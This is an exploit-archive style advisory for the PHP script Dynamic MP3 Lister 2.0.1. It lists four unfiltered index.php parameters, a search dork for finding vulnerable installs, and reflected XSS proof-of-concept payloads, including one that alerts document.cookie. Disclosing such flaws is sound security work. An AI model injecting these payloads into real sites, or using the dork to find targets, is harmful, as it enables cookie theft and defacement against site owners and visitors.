# Author : Xylitol
# Contact : n/a
# Vendor : benjamin kuz (www.ben.ursux.com)
# Version: 2.0.1
# D0rks : dynamic MP3 lister [2.0.1] by benjamin kuz :: netscape users [click here]
# Public release vulnz: 10/09/08
# Impact: low
# Stop lammer

Dynamic MP3 Lister 2.0.1
####################
1. Description:
####################
Dynamic MP3 Lister is a quick, easy way to share your web accessable MP3s.
Just drop in the folder with the MP3s and load the page.
This script will find and list them for you.
Other features include: Per directory image headers, Search capabilities,
MP3 streaming and MP3 information extraction for things such as
playtime, bitrate, frequency and channel type.
The list sorting order can be changed on the fly as well.


####################
2. Vulnerable page:
####################
index.php
bad filtered value : "currentpath" variable
bad filtered value : "invert" variable
bad filtered value : "search" variable
bad filtered value : "sort" variable

index.php?currentpath=[XSS]&sort=[XSS]&invert=[XSS]
index.php?sort=[XSS]&invert=[XSS]&currentpath=[XSS]&search=[XSS]


####################
3. PoC:
####################


"><script>alert(document.cookie)</script>
"><marquee><h1>xyl</h1></marquee>
"><script>alert(1337)</script>

dont forget the ">


####################
4. Greetings:
####################
Uber0n, Langy, code91, FullFreeze, meloulisi, t0fx
xssing, sla.ckers and security-sh3ll ppl